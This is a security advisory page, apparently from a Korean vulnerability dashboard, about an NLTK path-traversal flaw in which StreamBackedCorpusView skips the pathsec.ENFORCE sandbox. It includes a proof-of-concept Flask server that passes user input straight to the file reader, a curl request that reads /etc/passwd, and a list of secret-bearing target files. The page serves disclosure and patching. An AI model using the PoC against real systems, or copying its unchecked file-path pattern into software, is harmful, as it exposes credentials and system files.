Kestrel
대시보드로 돌아가기
CVE-2026-63312HIGHMITRENVDGHSA대응게시일: 2026. 08. 22.수정일: 2026. 09. 08.

NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS
0.6%상위 55.1%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details

nltk/pathsec.py:274 defines the enforcement point:

python
1def open(file, mode="r", **kwargs):
2 validate_path(file, context="pathsec.open")
3 return builtins.open(file, mode=mode, **kwargs)

StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

bash
1# line 171 — no validate_path() call
2self._eofpos = os.stat(self._fileid).st_size
3
4# line 208 — calls builtins.open directly
5self._stream = open(self._fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC

python
1# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
2from flask import Flask, request, jsonify
3import nltk.pathsec as ps
4from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
5
6# Strict mode enabled — expected to sandbox all file access
7ps.ENFORCE = True
8
9app = Flask(__name__)
10
11@app.post("/read")
12def read_file():
13 fname = request.json.get("file")
14 # fileid is user-controlled, passed directly to StreamBackedCorpusView
15 # pathsec.ENFORCE = True is ignored — builtins.open() called internally
16 view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
17 return jsonify({"file": fname, "content": view[0]})
18
19app.run(host="0.0.0.0", port=8000)

Trigger:

bash
1curl -s -X POST http://localhost:8000/read \
2 -H "Content-Type: application/json" \
3 -d '{"file": "/etc/passwd"}'

Confirmed on latest stable NLTK. No privileges required.

Impact

  • Type: Arbitrary Local File Read / Security Control Bypass
  • CWE: CWE-22, CWE-284
  • OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.